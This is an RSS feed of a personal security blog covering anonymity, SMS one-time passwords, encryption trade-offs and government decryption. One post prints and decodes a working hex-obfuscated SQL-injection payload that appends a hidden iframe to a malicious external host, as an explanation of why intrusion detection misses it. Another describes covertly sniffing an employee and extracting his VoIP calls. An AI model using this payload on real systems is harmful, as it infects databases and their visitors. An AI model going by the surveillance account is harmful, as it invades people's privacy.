<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Michael N. Dundas &#187; Security</title>
	<atom:link href="http://michaeldundas.com/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://michaeldundas.com</link>
	<description>Precision, Integrity, Communication</description>
	<lastBuildDate>Fri, 04 May 2012 20:56:55 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>So, you want to be anonymous: An Introduction</title>
		<link>http://michaeldundas.com/2012/03/13/so-you-want-to-be-anonymous-an-introduction/</link>
		<comments>http://michaeldundas.com/2012/03/13/so-you-want-to-be-anonymous-an-introduction/#comments</comments>
		<pubDate>Tue, 13 Mar 2012 09:43:51 +0000</pubDate>
		<dc:creator>Clear2Go</dc:creator>
				<category><![CDATA[Privacy and Anonymity]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Surveillance]]></category>

		<guid isPermaLink="false">http://michaeldundas.com/?p=2827</guid>
		<description><![CDATA[I often have conversations with people about being anonymous specifically while on the Internet.  Most people believe that anonymity is not possible today.  Others believe that by doing specific steps (deleting your browser history, ensuring SSL is active are two of many examples) you will not be traced.  In my opinion and experience both points [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://michaeldundas.com/wp-content/uploads/2012/03/ladyAndManInBalaclava.png"><img class="alignleft size-full wp-image-2835" title="ladyAndManInBalaclava" src="http://michaeldundas.com/wp-content/uploads/2012/03/ladyAndManInBalaclava.png" alt="" /></a>I often have conversations with people about being anonymous specifically while on the Internet.  Most people believe that anonymity is not possible today.  Others believe that by doing specific steps (deleting your browser history, ensuring SSL is active are two of many examples) you will not be traced.  In my opinion and experience both points of view are correct.  While there is never a 100% guarantee of being totally anonymous, you can take steps to improve your anonymity.  The first step to being anonymous is to understand that anonymity it is not black and white.  There are lots of questions you have to assess and answer.  What is the situation you find yourself in?  Why do you want to remain anonymous in the situation?  Who may try to discover your identity in that situation?  How badly will someone or a group want to obtain your true identity? What resources and intelligence do you you have at your disposal to protect your anonymity?  What resources and intelligence does the individual or group that would want to  discover who you really are have available to them?  These are but a few of the many questions and their applicability depends on the situation.</p>
<p>A good analogy to anonymity is basic physical security.  I have security at my home, the doors lock, the windows close and lock, only certain people have keys, there is an alarm system.  If you compare my home security to the home security of a criminal organization&#8217;s leader, you can be certain they will have more security than I do in my home.  They may have people standing post  watching all sides of the house, large perimeter fences with alarms, bullet proof windows, steel doors with re-enforced frames, hired bodyguards through the home, rehearsed escape plans with get-away vehicles and whatever else they deem necessary.  You can walk up to my front door and ring the doorbell, I might even answer if I am home.  You would have to first find the home of the leader in a criminal organzation.  They probably have multiple homes, so you would have to determine which one they were in at a particular time.  Assuming you could accomplish that, you probably will not make it to the front door if you were to try let alone have the leader answer the door if you were able to physically get to the door.  It is not just that the criminal organization has way more money than I do as to why they have better security.  It is because they have something that is of much higher financial value than I do.  A criminal organization that has something of value to protect (merchandise, leader, industry knowledge) and is willing to spend more money on security because the risk of loosing what they are protecting is greater.  Security is the same with any organization be it financial, private, pharmaceutical, mining, government, or whatever.  What are the most treasured items or knowledge I have to protect?  How much do I have to loose if those items or knowledge was stolen or obtained?  What is an acceptable level of risk for loosing this property or knowledge?  What will the cost of security be to get to an acceptable level of risk?</p>
<p>Anonymity is no different.  If I want to purchase a gift for a family member that costs $100. I can spend hours, setting up tunnelling protocols, configuring a special browser and operating system, setting up an untraceable method of payment so that I can place my order knowing with confidence that my family, my ISP, law enforcement, and anyone else won&#8217;t know (at least not without a lot of time and money on their part).  I may have to learn how to do all this.  But even if someone does know it takes time to set this up, check that it is in fact secure.  For me, that time is worth more than the $100 dollars I am spending on the gift.  I&#8217;d probably just order it on a normal PC, using a normal Internet connection, clear the browser history, and hope no one sees the credit card statement before the gift arrives.  Could my ISP see that I ordered flowers? If they wanted to yes.  Do I care? Not really.</p>
<p>But what if I want to browse a particular website and not have Google know about it?  What if I wish to do research on a particular topic that I don&#8217;t want any person, group or company knowing that I am interested in that topic?  What if I am conducting an investigation into an individual who works for a company and we know he is technically savvy and has an intricate knowledge of security?  In those cases, it is worth my time to plan properly so the risk of being exposed is reduced.  These questions and how to will be the topic of a series of blog posts I will write entitled &#8220;So, you want to be anonymous.&#8221;  I am not sure how many posts will be in the series yet (I suspect 4 or 5), but I will try to keep each post short and cover one topic of maintaining anonymity.  Anonymity on the Internet is something that has always interested me and many others.  There is lots of information on the Internet about it (both true and false information).  I used to have to keep up with being anonymous in order to do some of the work I have done in the past.  Today, I mainly keep up with it, just because it interests me.  The next posts in this series will start with a general discussion on a few of the basic ways you can be monitored from the network as well as application levels. Next we can discuss ways to avoid being monitored, minimize digital trace evidence that can lead back to a particular target from the network, service, and application perspective.</p>
<p>Series Index:</p>
<p>1. <a href="http://michaeldundas.com/2012/04/22/so-you-want-to-be-anonymous-your-ip-address-the-low-hanging-fruit/">Your IP Address, the low hanging fruit</a></p>
<p style="text-align: right;">  <a href="http://www.flickr.com/photos/nofutureface/">Photo courtesy of&#8230;</a></p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://michaeldundas.com/2012/03/13/so-you-want-to-be-anonymous-an-introduction/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Usage based billing (ubb) coming soon</title>
		<link>http://michaeldundas.com/2011/01/24/usage-based-billing-coming-soon/</link>
		<comments>http://michaeldundas.com/2011/01/24/usage-based-billing-coming-soon/#comments</comments>
		<pubDate>Mon, 24 Jan 2011 07:49:01 +0000</pubDate>
		<dc:creator>Clear2Go</dc:creator>
				<category><![CDATA[Surveillance]]></category>

		<guid isPermaLink="false">http://michaeldundas.com/?p=2369</guid>
		<description><![CDATA[If you currently subscribe to an ISP in Canada, particularly one that provides DSL access (via your phone line), you are about to be subjected to a bill increase.  Michael Geist has a article linking to current resources here. While some of my information on this topic has come from blogs I follow, as well [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://michaeldundas.com/wp-content/uploads/2011/01/minoxSpyCam.png"><img class="alignleft size-full wp-image-2377" title="minoxSpyCam" src="http://michaeldundas.com/wp-content/uploads/2011/01/minoxSpyCam.png" alt="" width="240" height="160" /></a>If you currently subscribe to an ISP in Canada, particularly one that provides DSL access (via your phone line), you are about to be subjected to a bill increase.  Michael Geist has a article linking to current resources <a href="http://www.michaelgeist.ca/content/view/5591/125/">here</a>.</p>
<p>While some of my information on this topic has come from blogs I follow, as well as discussions with friends and co-workers I still keep in touch with since I left the telecommunications industry, a main source has been a long time friend of mine.  He owns a small ISP in London, became involved with <a href="http://cnoc.ca/">CNOC</a>, a group of ISPs in Canada attempting to fight the CRTC ruling permit Bell to charge in this manner.</p>
<p>While I don&#8217;t agree with the CRTC permitting Bell to charge in this manner given their obvious monopoly and reach, there is a couple of positive things I see as a result.   On a personal note, it is nice to see my friend engaging with other ISPs in this discussion and taking more of an active role.  That behaviour is not a natural for him and pushes him outside his comfort zone.   I am happy to see him doing this.  From a general perspective, while the decision is not in my opinion smart from a competitive perspective, I think it is at least a step forward because it forces  ISPs to start charging bandwidth costs to end consumers that use the resource.  This is something that should have happened years ago, and I believe that if it did it would have made the Net Neutrality debate non-existent or at least much less of a debate.  As I have stated before, in my opinion I believe bandwidth is a utility and today more than ever, it&#8217;s characteristics are similar to a utility.  It should be regulated as such and charged according market costs in a real competitive environment, not a monopoly (of course in Canada there is a monopoly, or at least an environment that is pretty close to one).</p>
<p>As a result of this new legislation, I have started monitoring bandwidth usage from my home connection.  I wrote a very basic script that simply queries the internet interface of my gateway every 5 minutes, gathers the raw transmit and receive bytes and stores them in a file along with a time stamp.</p>
<p><a href="http://michaeldundas.com/wp-content/uploads/2011/01/homeBWLogSample1.png"><img class="aligncenter size-full wp-image-2374" title="homeBWLogSample1" src="http://michaeldundas.com/wp-content/uploads/2011/01/homeBWLogSample1.png" alt="" width="282" height="207" /></a></p>
<p>Once usage based billing (ubb) takes effect in March 2011, I plan to take this data and using Python generate some graphs, and put the bandwidth usage into a format that can be compared  to the usage  my ISP generates as well as the usage  that Bell provides on my DSL line.   In my experience, measurement is a tricky thing, and I am curious in any differences that might arise.</p>
<p style="text-align: right;"><a href="http://www.flickr.com/photos/dcaid/4258501451/"><em>photo credit</em></a></p>
]]></content:encoded>
			<wfw:commentRss>http://michaeldundas.com/2011/01/24/usage-based-billing-coming-soon/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>One time password over SMS</title>
		<link>http://michaeldundas.com/2010/10/25/one-time-password-over-sms/</link>
		<comments>http://michaeldundas.com/2010/10/25/one-time-password-over-sms/#comments</comments>
		<pubDate>Mon, 25 Oct 2010 15:40:24 +0000</pubDate>
		<dc:creator>Clear2Go</dc:creator>
				<category><![CDATA[External Services]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://michaeldundas.com/?p=2212</guid>
		<description><![CDATA[A recent article by Seth Godin discusses  a security mechanism to help the end user identify counterfeit medicine.  This methodology is not new, but can be effective.  It uses the idea of a one time password (OTP) over SMS.   The concept of OTP has been around for a while.  SMS has also been around [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://michaeldundas.com/wp-content/uploads/2010/10/oldKey.png"><img class="alignleft size-full wp-image-2220" title="oldKey" src="http://michaeldundas.com/wp-content/uploads/2010/10/oldKey.png" alt="" width="250" height="188" /></a><a href="http://sethgodin.typepad.com/seths_blog/2010/10/avoiding-counterfeits-building-permission.html">A recent article by Seth Godin</a> discusses  a security mechanism to help the end user identify counterfeit medicine.  This methodology is not new, but can be effective.  It uses the idea of a one time password (OTP) over SMS.   The concept of OTP has been around for a while.  SMS has also been around for a while.  Many mobile operators have used OTP over SMS for user authentication to a particular service.  But I think more businesses should use it for user verification.  Financial, insurance, medical or any company who provides a service  where user authentication is critical would benefit from an OTP over SMS deployment.</p>
<p>Here is how it works.  Let&#8217;s use on-line banking as an example.  Using their home laptop, the customer connects to their financial institutions on-line banking site.  Customer enters their access card and password.  Upon successful verification of the access card and password, the screen prompts customer to enter a one time password.  That password is sent via SMS to the mobile number previously provided by the customer.  Upon receipt of the SMS message containing the one time password, the customer enters that password into the screen on their laptop.  Assuming it is correct, the customer is permitted to proceed with their banking.</p>
<p>It protects against phishing from a separate system.  When a bot is installed that attempts to grab and extract your access card and password, that is no longer enough.  It also has to figure out a way to capture the next one-time password, much more difficult.  It makes re-sale of customer access card numbers, passwords, credit card numbers and other information practically useless.  Selling this information  to criminals is big business today.</p>
<p>The one time password is only valid for the current session which is already established.  Any new or future session requires a new one time password.  The password is transmitted on a completely separate channel from the session being verified.  The device is separate, the network is separate and the company providing the transmission of the password (in this case the mobile operator) is separate.  For this attack to be repeatable, the attacker would have to compromise the SMS phone system on top of your laptop or bank infrastructure. While this is probably not impossible, it is a lot more difficult.</p>
<p>OTP over SMS is relatively easy to implement today.  Most people have mobile phones today.  The technology to send SMS is common place.  It is easy for a typical end user to understand the security benefits derived from this method and it is not too cumbersome for them.</p>
<p>It is not fool proof mind you.  Malware that is installed on a device accessing the on-line banking such as your laptop, that is intelligent enough wait for you to enter the one time password, then use that session to attack would still be valid but that is a much harder attack accomplish.  As a result this solution minimizes the attack surface available for attackers.</p>
<p>To make it more secure, the interface to turn on this feature or provide the phone number could be done via customer support only. The customer would have to call in to make the change.  Most people today have mobile phones and typically it is a device that is always physically with them. This makes it a great tool to deploy OTP.</p>
<p style="text-align: right;"><a href="http://www.flickr.com/photos/ul_marga/755378645"><em>photo credit</em></a></p>
]]></content:encoded>
			<wfw:commentRss>http://michaeldundas.com/2010/10/25/one-time-password-over-sms/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Encryption can decrease security</title>
		<link>http://michaeldundas.com/2010/10/20/encryption-can-decrease-security/</link>
		<comments>http://michaeldundas.com/2010/10/20/encryption-can-decrease-security/#comments</comments>
		<pubDate>Wed, 20 Oct 2010 08:49:44 +0000</pubDate>
		<dc:creator>Clear2Go</dc:creator>
				<category><![CDATA[Encryption]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://michaeldundas.com/?p=2191</guid>
		<description><![CDATA[There are lots of people that think that encryption always increases security. While encryption is good and necessary, sometimes having it can actually decrease security.  I have been running into this issue enough lately that I feel the need to write about it.   To illustrate lets use a really simple example. Here we have a [...]]]></description>
			<content:encoded><![CDATA[<p>There are lots of people that think that encryption always increases security. While encryption is good and necessary, sometimes having it can actually decrease security.  I have been running into this issue enough lately that I feel the need to write about it.   To illustrate lets use a really simple example.</p>
<p><a href="http://michaeldundas.com/wp-content/uploads/2010/10/websrvFwIpsDbServ1.png"></a><a href="http://michaeldundas.com/wp-content/uploads/2010/10/websrvFwIpsDbServ2.png"><img class="aligncenter size-full wp-image-2195" title="websrvFwIpsDbServ2" src="http://michaeldundas.com/wp-content/uploads/2010/10/websrvFwIpsDbServ2.png" alt="" width="400" height="120" /></a><br />
Here we have a web server that sends SQL queries to a back end database server.  In between the two servers is a combination firewall / Intrusion Prevention System (IPS) that is configured to detect malicious SQL injection attacks, block the attack and alert security response teams when necessary.  The IPS/Firewall system is independent of the web server and the database server.  It is a independent system designed to simply detect and respond to attacks by watching the communication between devices.</p>
<p>Eventually, a security consultant is hired to conduct a security review.  One recommendation she makes is that the information being transmitted between the web server and the database server contains confidential information and therefore should be encrypted.   Turning on encryption seems like a good idea, now the data between the web server and database server can not be viewed by anything but the intended servers.  The problem is that includes the IPS system which is designed to protect the database server from SQL injection attacks.   Now an attacker can attack the system feeling secure that their attacks are hidden inside the encryption and undetectable.</p>
<p>Security policies that recommend a particular type of data should be encrypted need to take into account more than just the data.  They also need to take into account the location of the source and destination of the transmission, the physical and other security controls and systems involved in and around the transmission.  No one would argue that a credit card being transmitted on the Internet should be encrypted.  It will pass through networks and devices that are not under the sender or receivers control and therefore has a high risk of interception.  If that same credit card number is being transmitted from a sender to receiver where both are in the same data center, access to devices in the data center are tightly controlled, then adding encryption only increases the complexity, hides attackers, and offers minimal to no value.  Some suggest that  in the data center someone might be able to gain access, and sniff the traffic to obtain the transmitted credit card therefore you have to encrypt the data.  If that is truly the case, I&#8217;d suggest they have much bigger security concerns than someone sniffing data.</p>
<p>When making a decision on weather to encrypt data, does your organization take a look at the data, application, network design and other factors when assessing risk, or do they just look at the data?</p>
]]></content:encoded>
			<wfw:commentRss>http://michaeldundas.com/2010/10/20/encryption-can-decrease-security/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Evading IPS, IDS, and firewall security devices</title>
		<link>http://michaeldundas.com/2010/08/22/evading-ips-ids-and-firewall-security-devices/</link>
		<comments>http://michaeldundas.com/2010/08/22/evading-ips-ids-and-firewall-security-devices/#comments</comments>
		<pubDate>Sun, 22 Aug 2010 14:32:51 +0000</pubDate>
		<dc:creator>Clear2Go</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://michaeldundas.com/?p=2045</guid>
		<description><![CDATA[A friend and co-worker of mine Jerry Mangiarelli recently posted about a SQL injection attack that he has been following.  You can read his post here.  As he indicates, it is not a new attack, nor a very complex attack.  If you are interested in more details of the attack, SANS has more detailed review [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://michaeldundas.com/wp-content/uploads/2010/08/naturalMagnification.png"><img class="alignright size-full wp-image-2055" title="naturalMagnification" src="http://michaeldundas.com/wp-content/uploads/2010/08/naturalMagnification.png" alt="" width="312" height="234" /></a>A friend and co-worker of mine Jerry Mangiarelli recently posted about a SQL injection attack that he has been following.  You can read his post <a href="http://jerrymangiarelli.blogspot.com/2010/08/another-mass-sql-injection-attack.html">here</a>.  As he indicates, it is not a new attack, nor a very complex attack.  If you are interested in more details of the attack, SANS has more detailed review of the attack available <a href="http://isc.sans.edu/diary.html?storyid=9397&amp;">here</a>. My focus is not so much on the attack itself, but on the detection of the attack with security devices and why it is harder problem than many realize.</p>
<p>I think this attack is a really good example of how it is difficult for firewall, IPS, and IDS vendors to detect these type of attacks.  While the ability to do so is improving every day, and vendors will claim they can (and in some cases they can), the bad guys do have the advantage.  For the purposes of this post, I want to focus on how the attack attempts to hide from deployed security systems.  This attack can be used as a great example of how easy it is to evade detection systems for people that are not technically dealing with attacks day to day and wonder why it is so hard.</p>
<p>The key to this attack is the CAST function.  This function (which is available in many programming languages), will convert one data type to another.  A set of integers to a letter, a decimal number to a hexadecimal number are two examples.   In the attack, hexadecimal is used to mask the alphanumeric requests to the database.</p>
<p>If you look at the actual CAST function request, you see a 0x (means the next characters are a hexadecimal base) followed by:</p>
<blockquote><p>6445634c417245204054207661526368615228323535292c406320764152434841722832353529206465634c417265207461624c455f635572734f5220435552534f5220466f522053454c45437420412e6e616d652c622e6e614d652066726f4d207379734f626a6543747320612c737973434f4c754d4e73206220776865524520612e69643d422e696420614e4420412e58745950653d27552720616e642028622e78545950653d3939206f7220622e58547970653d3335206f5220422e78545950653d323331204f5220622e78747970453d31363729206f50454e205441624c655f637552736f72206645544348206e6558542046524f6d205461426c455f437552734f7220494e744f2040542c4063207768696c4528404046657443685f7374417475533d302920626547496e20657845632827557044615445205b272b40742b275d20536554205b272b40632b275d3d727452494d28434f4e5665525428564152434841722834303030292c5b272b40432b275d29292b6361535428307833433639363637323631364436353230373337323633334432323638373437343730334132463246364536353644364636383735363936433634363936393645324537323735324637343634373332463637364632453730363837303346373336393634334433313232323037373639363437343638334432323330323232303638363536393637363837343344323233303232323037333734373936433635334432323634363937333730364336313739334136453646364536353232334533433246363936363732363136443635334520615320766152434861722831303629292729204645544368204e6578742066526f6d207441426c655f635572734f7220496e744f2040742c406320456e4420436c6f7365207461626c455f437552736f52206445414c4c6f43415465205461424c655f435552736f7220</p></blockquote>
<p>The CAST function will convert the hexadecimal above to alphanumeric.  The result of that conversion is:</p>
<blockquote><p>dEcLArE @T vaRchaR(255),@c vARCHAr(255) decLAre tabLE_cUrsOR CURSOR FoR SELECt A.name,b.naMe froM sysObjeCts a,sysCOLuMNs b wheRE a.id=B.id aND A.XtYPe=&#8217;U&#8217; and (b.xTYPe=99 or b.XType=35 oR B.xTYPe=231 OR b.xtypE=167) oPEN TAbLe_cuRsor fETCH neXT FROm TaBlE_CuRsOr INtO @T,@c whilE(@@FetCh_stAtuS=0) beGIn exEc(&#8216;UpDaTE ['+@t+'] SeT ['+@c+']=rtRIM(CONVeRT(VARCHAr(4000),['+@C+']))+caST(0x3C696672616D65207372633D22687474703A2F2F6E656D6F6875696C6469696E2E72752F7464732F676F2E7068703F7369643D31222077696474683D223022206865696768743D223022207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E aS vaRCHar(106))&#8217;) FETCh Next fRom tABle_cUrsOr IntO @t,@c EnD Close tablE_CuRsoR dEALLoCATe TaBLe_CURsor</p></blockquote>
<p>Now you can see how this looks more like a SQL statement, it is just masked.  Where it becomes difficult for IPS/IDS vendors is that the translation that I did above, doesn&#8217;t happen until it reaches the sql engine for the targeted database.  So in flight through network it appears as hexadecimal.  Do you design your IPS/IDS systems with a sql engine that performs this function on every command?  That takes time and resources. And what would you trigger on exactly in the decoded section above?  The most logical thing to detect on in the decoded section, the attackers have actually hidden.</p>
<p>If you look carefully, there is a second CAST function nested within the first CAST function.</p>
<blockquote><p>caST(0x3C696672616D65207372633D22687474703A2F2F6E656D6F6875696C6469696E2E72752F7464732F676F2E7068703F7369643D31222077696474683D223022206865696768743D223022207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E</p></blockquote>
<p>If you convert the hexadecimal in this inner CAST function you get:</p>
<blockquote><p>&lt;iframe src=&#8221;http://nemohuildiin.ru/tds/go.php?sid=1&#8243; width=&#8221;0&#8243; height=&#8221;0&#8243; style=&#8221;display:none&#8221;&gt;&lt;/iframe&gt;</p></blockquote>
<p>This would be the logical area to detect.  A SQL query containing an HTML IFRAME tag to an external unknown website.  And this is the attack.  The problem is that the IPS/IDS, firewall or other security would have to do the extra function of converting the CAST within the CAST function.</p>
<p>Processing recursively  is resource intensive.  How many times to you recurse through the CAST function?  Are there other functions in SQL you should check?  What about if it is not hexadecimal but octal or some other numerical base?</p>
<p>While security vendors often claim they can detect the above, there are often many conditions around those claims that they do not explain.  Encryption, nested functions as above are but a few examples.  These problems go beyond just SQL injection as well, and apply for many types of attacks.</p>
<p>When evaluating these technologies, it is important that you have someone on your side that is independent of any vendors.  An employee or consultant that understands your requirements, is technically sound and solid about how the technology works (not just in theory), and can work on your behalf to ensure you understand exactly what the technologies can and can not do.  You then have a real understanding of the risks and exposures you face.</p>
<p style="text-align: right;"><a href="http://www.flickr.com/photos/imagesbyrenate/365131896/"><em>photo credit</em></a></p>
]]></content:encoded>
			<wfw:commentRss>http://michaeldundas.com/2010/08/22/evading-ips-ids-and-firewall-security-devices/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Money always trumps security when they are in opposition</title>
		<link>http://michaeldundas.com/2010/08/09/money-always-trumps-security-when-they-are-in-opposition/</link>
		<comments>http://michaeldundas.com/2010/08/09/money-always-trumps-security-when-they-are-in-opposition/#comments</comments>
		<pubDate>Tue, 10 Aug 2010 03:35:57 +0000</pubDate>
		<dc:creator>Clear2Go</dc:creator>
				<category><![CDATA[Encryption]]></category>
		<category><![CDATA[Privacy and Anonymity]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Surveillance]]></category>

		<guid isPermaLink="false">http://michaeldundas.com/?p=1977</guid>
		<description><![CDATA[I have been following the RIM security saga with India and Saudi Arabia.  I have previously mentioned, I have been in the U.A.E. in the past performing security consulting.  A few facts I know: All HTTP goes through a proxy. If you connect to a service provider, all your flows go through an HTTP proxy [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://michaeldundas.com/wp-content/uploads/2010/08/Flag_of_the_United_Arab_Emirates.png"><img class="alignright size-full wp-image-1995" title="Flag_of_the_United_Arab_Emirates" src="http://michaeldundas.com/wp-content/uploads/2010/08/Flag_of_the_United_Arab_Emirates.png" alt="" width="200" height="100" /></a>I have been following the <a href="http://www.rim.net">RIM</a> security saga with India and Saudi Arabia.  I have previously mentioned, I have been in the <a href="http://en.wikipedia.org/wiki/United_Arab_Emirates">U.A.E.</a> in the past performing security consulting.  A few facts I know:</p>
<p><strong>All HTTP goes through a proxy. </strong>If you connect to a service provider, all your flows go through an HTTP proxy system.  The proxy system scans requests and compares them to a database of categorized sites.   The government provides policies to the service providers, and it is required by law they are enforced.  They are enforced in real time.  Attempting to visit an unauthorized site you will be re-directed to a page in Arabic explaining that it is not permitted.  I actually kept a screen capture of the page and was going to post it, but I can&#8217;t find it.  However, if you are in Dubai, just try to go to a site that has questionable material.  You will be re-directed.  Anyone can do it, it is not a secret.</p>
<p><strong>HTTPS was ready to be implemented. </strong>Approximately 2 years ago, they were testing the ability to decrypt SSL on the fly so that they could perform analysis on the requests and grant or deny access as with HTTP traffic.  I am sure this is deployed by now.</p>
<p><strong>Voice Over IP, Instant messaging and other protocols had specific policies.</strong> I won&#8217;t go into the details here, as I don&#8217;t know how public this information is, but there were active policies deployed around these and other protocols.</p>
<p><strong>Privacy is not the same as North America.</strong> In North America, we many feel that privacy is slowly being eroded.  In comparison to Dubai our policies with respect to privacy are impressive.  The ISP has the right to watch what you are doing and actively grant, block, and log your activities.  It is actually a requirement in order to get a license to be an ISP from the Government.</p>
<p>When Saudi Arabia indicated they were going to ban Research In Motion devices due to the fact the government was unable to decrypt communications as needed, I was hopeful that RIM would say too bad.  Of course that was the idealist in me hoping that RIM, a Canadian company with one of their key features they market is  about Blackberry and its security would not be compromised.  The realist in me understands that the Middle East is a growing market and from a business perspective RIM has no choice but to be a part of it.  If you want to do business in Canada you have to play by our rules, so it only makes sense that if you want to do business in the U.A.E., you have to play by their rules.  As expected, RIM <a href="http://www.thestar.com/business/companies/rim/article/845265--rim-reaches-deal-with-saudi-arabia-dodging-blackberry-ban">reached a deal with Saudi Arabia</a>.  They also<a href="http://www.reuters.com/article/idUSTRE6720A320100803"> reached a deal with India</a> earlier this week.</p>
<p>What I find amusing is the <a href="http://www.reuters.com/article/idUSTRE67151F20100802">latest Spin they have put on security</a> given the situation.</p>
<blockquote><p>RIM made no direct comment on any discussions  with the UAE or others, but it sought to reassure customers about the  security of their data on BlackBerry networks.  &#8220;While  RIM does not disclose confidential regulatory discussions that take  place with any government, RIM assures its customers that it is  committed to continue delivering highly secure and innovative products  that satisfy the needs of both customers and governments,&#8221; the company  said in a statement to customers.</p>
<p>A RIM spokeswoman could not be reached for comment.</p>
<p>RIM  said in its statement that under its security system customers have  their own encryption key and &#8220;only the customer ever possesses a copy&#8221;  of that key.</p></blockquote>
<p>While I am sure they have not lied, you can&#8217;t have it both ways.  Either you comply with the government request that they can decrypt messages and data as they require, or you don&#8217;t.  Any other suggestion implies that the laws within the UAE have changed.  I am not a lawyer, but I haven&#8217;t seen any news about new laws protecting UAE citizens privacy.  The best part is the last statement how the customers have their own encryption key that only they possess.  I am sure that statement is true.   But it is what is not said that is telling.  Are there any more encryption keys other than the one the customer possesses with respect to the customer&#8217;s messages?   Companies that deploy encryption and decryption of email, files, and data in general give each employee a copy of their own key that only they possess.  When encrypting data, the system creates some sort of a unique key (lets call it E) that is actually used to encrypt or decrypt the data.  The E key is then encrypted with the customers encryption key (lets call that key Ec).  The trick with businesses, is that the E key&#8217; is also encrypted with their own key (lets call it Eb).  If you loose your key (Ec) or refuse to give it when asked, they can use their key Eb to decrypt and obtain E key.  Once they have the E key, they can then decrypt the message.  There are several variations to this but the basic premise from a recovery perspective are the same.</p>
<p style="text-align: center;"><a href="http://michaeldundas.com/wp-content/uploads/2010/08/emailEncRecovProcessHighLevel2.png"><img class="size-full wp-image-1987 aligncenter" title="emailEncRecovProcessHighLevel2" src="http://michaeldundas.com/wp-content/uploads/2010/08/emailEncRecovProcessHighLevel2.png" alt="" width="508" height="311" /></a></p>
<p>This is not the first time this has happened either.  Not sure how many people remember <a href="http://www.hushmail.com/">Hushmail</a>.  I wrote about them <a href="http://michaeldundas.com/2009/06/20/outsourcing-i-t-to-google-part-i-the-concerns/">here</a>.  Hushmail marketing was based on the fact that if you used them for email, no one but you could retrieve your email stored on their servers.  Even Hushmail staff was not able to retrieve the email if they wanted to as they did not have the keys.  (Sound familiar to the RIM article above?).  Yet, when U.S. law enforcement contacted them about an individual they were investigating, Hushmail was able to <a href="http://www.wired.com/threatlevel/2007/11/hushmail-to-war/">provide them with 12 CDs filled with unencrypted emails of the individual under investigation</a>.</p>
<p>While I don&#8217;t blame RIM for their bowing to the governments of India and Saudi Arabia if they wish to do business in their countries, I dislike the spin they are placing on security.   They are mis-leading the public and playing on the fact that many people do not understand the intricacies of security.  While they are not lying, I strongly suspect they are not being forthright.</p>
<p>When all the dust settles, it is important that people realize that money is what drives business.  You can claim all morals, goals, and visions you want.  But if at some these come into conflict that causes enough money to be at stake compromises will be made.  Security unfortunately is no different.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaeldundas.com/2010/08/09/money-always-trumps-security-when-they-are-in-opposition/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>I am watching you, but you can&#8217;t watch me</title>
		<link>http://michaeldundas.com/2010/07/16/i-am-watching-you-but-you-cant-watch-me/</link>
		<comments>http://michaeldundas.com/2010/07/16/i-am-watching-you-but-you-cant-watch-me/#comments</comments>
		<pubDate>Fri, 16 Jul 2010 08:21:17 +0000</pubDate>
		<dc:creator>Clear2Go</dc:creator>
				<category><![CDATA[Forensics]]></category>
		<category><![CDATA[law enforcement]]></category>
		<category><![CDATA[Profiling]]></category>
		<category><![CDATA[Surveillance]]></category>

		<guid isPermaLink="false">http://michaeldundas.com/?p=1910</guid>
		<description><![CDATA[Several years ago I was hired to assist with an internal investigation.  The client, a large company had some concerns about an employee and wanted to covertly gather information and data on what this employee was doing while at work.   For about a week, I sat passively on the network, monitoring the subjects connections to [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://michaeldundas.com/wp-content/uploads/2010/07/iAmWatchingYou.png"><img class="alignright size-full wp-image-1917" title="iAmWatchingYou" src="http://michaeldundas.com/wp-content/uploads/2010/07/iAmWatchingYou.png" alt="" width="265" height="199" /></a>Several years ago I was hired to assist with an internal investigation.  The client, a large company had some concerns about an employee and wanted to covertly gather information and data on what this employee was doing while at work.   For about a week, I sat passively on the network, monitoring the subjects connections to servers, internet systems, e-mail, instant messaging and any other network connection.  There was not the selection of automated software there is today to accomplish this, so most of it was done with packet sniffers.  I would gather the data, use scripts to extract specific types of data and run it through statistical analysis, look for data that was &#8216;different&#8217; or &#8216;suspect&#8217; in some way. Basically the goal was to profile the user, compare his activities to other users.  Then using this profile, identify and focus on things that didn&#8217;t fit.   Personally, I found it a little creepy.  Looking into the details of someone&#8217;s private life is not really fun, a part of me felt like I was being invasive, not respecting their privacy &#8212; and technically that is true.  But it was the job, what I was asked to do.   Sometimes doing things one would prefer not to do is necessary.</p>
<p>One thing I had identified to the client was that the subject was using a type of VoIP software.  They asked if it was possible to listen in on the voice conversations.  I told them it was, and that I could probably get them a copy of the voice conversations the subject previously had during the time I was monitoring.  I had packet captures, most non-encrypted so it was just work and time.  At the clients request, I extracted the VoIP conversations into wmv files using date and time of the call as a file name.</p>
